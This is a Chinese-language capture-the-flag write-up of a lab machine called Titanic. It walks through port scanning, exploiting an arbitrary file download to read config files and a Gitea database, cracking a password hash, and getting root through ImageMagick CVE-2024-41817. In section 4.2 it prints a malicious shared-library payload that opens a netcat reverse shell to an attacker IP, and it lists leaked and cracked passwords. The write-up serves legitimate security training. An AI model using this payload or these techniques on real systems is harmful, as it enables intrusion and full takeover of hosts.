一、前期侦察与初始立足
1.1 端口扫描与服务识别
对目标主机 10.10.11.55
进行全面端口扫描。此举旨在识别所有开放的服务,为后续的漏洞发掘和利用奠定基础。
sudo nmap 10.10.11.55 -p- --min-rate=5000 -A
图1: Nmap 扫描结果,显示开放了 22 (SSH) 和 80 (HTTP) 端口。
扫描结果清晰地显示,目标主机开放了 22 端口 (SSH) 和 80 端口 (HTTP)。值得注意的是,80 端口上的 HTTP 服务配置了重定向,将所有请求转发至 http://titanic.htb/
。
1.2 Web 应用指纹识别与目录爆破
根据 Nmap 的发现,首先将 titanic.htb
添加到本地 DNS 解析文件。随后访问该网站,指纹识别工具 Wappalyzer 表明该 Web 应用采用了 Flask 框架,版本为 3.0.3。
图2: 网站指纹识别结果,确认为 Flask 3.0.3。
为进一步探查潜在的隐藏路径或敏感文件,对网站进行了目录爆破。
dirsearch -u http://titanic.htb/
图3: Dirsearch 目录爆破结果,未发现有价值的新路径。
目录爆破并未揭示更多有用的信息,表明网站结构相对简单。
1.3 任意文件下载漏洞的发掘
浏览网站功能,发现其核心功能为一个在线订票系统。
图4: 网站提供的订票功能界面。
在提交购票信息时,通过 Burp Suite 拦截并分析 HTTP 请求。分析发现,存在一个用于下载已提交购票信息的接口。该接口的实现方式暗示了可能存在的任意文件下载漏洞。
图5: Burp Suite 抓包分析,显示下载购票信息的接口。
通过修改请求中的文件路径参数为 /etc/passwd
,成功利用该漏洞读取了系统的密码文件。文件内容显示,系统中仅存在一个名为 developer
的标准用户。
图6: 成功利用 LFI 读取 /etc/passwd
文件,确认 developer
用户存在。
尽管尝试了对其他系统文件进行 fuzzing 下载,但未能获取更多直接可利用的敏感信息。
二、子域名枚举与 Gitea 服务探索
2.1 子域名爆破
由于主站的直接利用点有限,遂转向子域名爆破,以期发现其他潜在的攻击面。
ffuf -u 'http://titanic.htb' -H 'host:FUZZ.titanic.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc 200 -t 100
图7: FFUF 子域名爆破结果,发现 dev.titanic.htb
。
爆破成功发现子域名 dev.titanic.htb
。
2.2 Gitea 服务识别与信息搜集
将 dev.titanic.htb
添加到 DNS 解析后访问,发现该子域名部署了一个 Gitea 服务,版本号为 1.22.1。针对此版本的公开漏洞搜索并未找到可直接利用的条目。
图8: dev.titanic.htb
指向 Gitea 1.22.1 服务。
在 Gitea 中浏览公开项目时,于一个项目配置文件中发现了一组 MySQL 数据库凭据:MySQLP@$$w0rd!
。
图9: Gitea 项目配置文件中泄露的 MySQL 密码。
尝试使用此密码登录 Gitea Web 端以及目标主机的 SSH 服务,均告失败。渗透重心再次转移到利用之前发现的 LFI 漏洞读取更为关键的网站和服务配置文件。Gitea 上存在 flask-app
和 docker-config
两个项目。flask-app
看似一个静态页面集合,利用价值不高。而 docker-config
暗示了 Gitea 和 MySQL 可能运行在 Docker 容器中。
三、配置文件读取与凭据破解
3.1 Docker 配置文件读取
利用 LFI 漏洞,首先尝试读取 MySQL 在容器化环境中的配置文件。经过简单的路径 fuzzing,成功在 /home/developer/mysql/docker-compose.yml
路径下读取到该文件。
图10: 读取到的 MySQL docker-compose.yml
,发现密码 mysqlpassword
。
该配置文件中包含了 MySQL 的密码 mysqlpassword
。然而,使用此密码进行新一轮的密码喷洒尝试,依旧未果。
接下来,目标转向读取 Gitea 的配置文件。由于 Gitea 采用 Docker 部署,直接读取宿主机标准路径下的配置文件是不可行的。首先需要确定容器内文件系统与宿主机的映射关系。通过读取 /home/developer/gitea/docker-compose.yml
文件,发现以下关键映射:/home/developer/gitea/data:/data
。这表明容器内的 /data
目录实际映射到宿主机的 /home/developer/gitea/data
目录。
图11: Gitea docker-compose.yml
,揭示了数据卷映射关系。
查阅 Gitea 官方配置文档 (https://docs.gitea.com/zh-cn/administration/config-cheat-sheet),了解到 Gitea 的主配置文件路径通常为 /etc/gitea/conf/app.ini
。结合前述的卷映射,容器内的 /etc/gitea
目录很可能位于宿主机映射的 /data
目录下。
图12: Gitea 配置文档片段,指明 app.ini
的位置。
因此,尝试读取宿主机路径 /home/developer/gitea/data/gitea/conf/app.ini
。
图13: 成功读取 Gitea app.ini
配置文件。
成功获取 app.ini
文件内容。该文件显示,Gitea 使用的是 SQLite 数据库,其数据库文件路径为 /data/gitea/gitea.db
(容器内路径)。
3.2 Gitea 数据库下载与哈希破解
根据卷映射关系,Gitea 数据库在宿主机上的实际路径为 /home/developer/gitea/data/gitea/gitea.db
。利用 LFI 漏洞下载此数据库文件。
在本地使用 SQLite 浏览器打开 gitea.db
文件,在 user
表中找到了 administrator
和 developer
用户的密码哈希。
图14: 从 Gitea 数据库 user
表中提取的用户密码哈希。
为破解这些哈希,首先使用 giteaToHashcat.py
(https://github.com/BhattJayD/giteatohashcat) 脚本将数据库中的哈希导出并转换为 Hashcat 可识别的格式。
python giteaToHashcat.py ~/Downloads/_home_developer_gitea_data_gitea_gitea.db
图15: 使用 giteaToHashcat.py
转换哈希格式。
去除用户名部分后,使用 Hashcat 结合 rockyou.txt
字典进行破解。
hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt
图16: Hashcat 成功破解 developer
用户的密码为 25282528
。
最终,仅成功破解出 developer
用户的密码:25282528
。
四、权限提升路径探索
4.1 初始 SSH 登录与本地信息收集
利用破解得到的 developer:25282528
凭据,成功通过 SSH 登录目标主机。登录后,上传并执行 LinPEAS 脚本进行详细的本地信息收集。
图17: LinPEAS 输出结果,注意到 /opt
目录下的项目文件。
分析 LinPEAS 的输出结果,/opt
目录下的项目文件结构引起了注意,这与之前在 titanic.htb
上遇到的订票网站结构相符。
通过 ps aux
查看进程,确认该 Web 应用是以 developer
用户权限运行。这意味着通过在该 Web 应用中植入木马等方式直接提权至 root 是不可行的。
ps aux
图18: ps aux
输出显示 Web 应用以 developer
权限运行。
4.2 ImageMagick 漏洞利用 (CVE-2024-41817)
继续翻查系统文件,在 /opt/scripts
目录下发现了一个名为 identify_images.sh
的脚本文件。
图19: /opt/scripts/identify_images.sh
脚本内容。
该脚本的功能相对简单:进入订票网站的图片目录 (/opt/app/static/assets/images
),然后使用 magick
工具提取 .jpg
文件的元数据并保存到日志文件中。
查看 magick
工具的版本信息:
magick --version
图20: magick
版本为 7.1.1-35。
版本显示为 ImageMagick 7.1.1-35。搜索与此版本相关的历史漏洞,在 GitHub Advisory Database (GHSA-8rxc-922v-phg8) 找到了一个严重漏洞。
图21: ImageMagick 漏洞 CVE-2024-41817。
该漏洞描述指出,如果攻击者能够控制 magick
执行时当前工作目录中的文件,则可以通过加载恶意的配置文件或共享库,导致任意代码执行。在当前场景下,identify_images.sh
脚本的执行权限(推测为 root)及其工作目录 (/opt/app/static/assets/images
,developer
用户可写)完美符合漏洞利用条件。
根据漏洞 POC,在 /opt/app/static/assets/images
目录中编译并放置一个恶意的共享库文件 libxcb.so.1
。该共享库的构造函数会在加载时执行反弹 shell 命令。
# Navigate to the writable directory
cd /opt/app/static/assets/images
# Compile the malicious shared library
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("busybox nc 10.10.14.16 53 -e /bin/bash"); // Replace with attacker IP and port
exit(0);
}
EOF
图22: 编译恶意共享库 libxcb.so.1
。
同时,在 developer
会话中运行 pspy
以监视是否有定时任务自动执行该脚本。
4.3 获取 Root 权限与定时任务确认
不久后,攻击机成功接收到反弹 shell,获得了 root 权限。这证实了 identify_images.sh
脚本确实被一个以 root 权限运行的定时任务所调用。
图23: 成功获得 root 权限的反弹 shell。
有趣的是,在 developer
用户权限下运行的 pspy
并未检测到任何相关的定时任务执行信息,这可能是由于系统安全策略限制了低权限用户对高权限进程活动的监视。
切换到已获取的 root shell 后,再次运行 pspy
,可以清晰地观察到 /root/cleanup.sh
脚本被定时执行,而此脚本内部很可能调用了 /opt/scripts/identify_images.sh
。
图24: 以 root 权限运行 pspy
,清晰显示 /root/cleanup.sh
的定时执行。
即使在低权限下使用工具未能发现定时任务,也不应轻易放弃对该攻击路径的探寻,权限限制可能导致信息遗漏。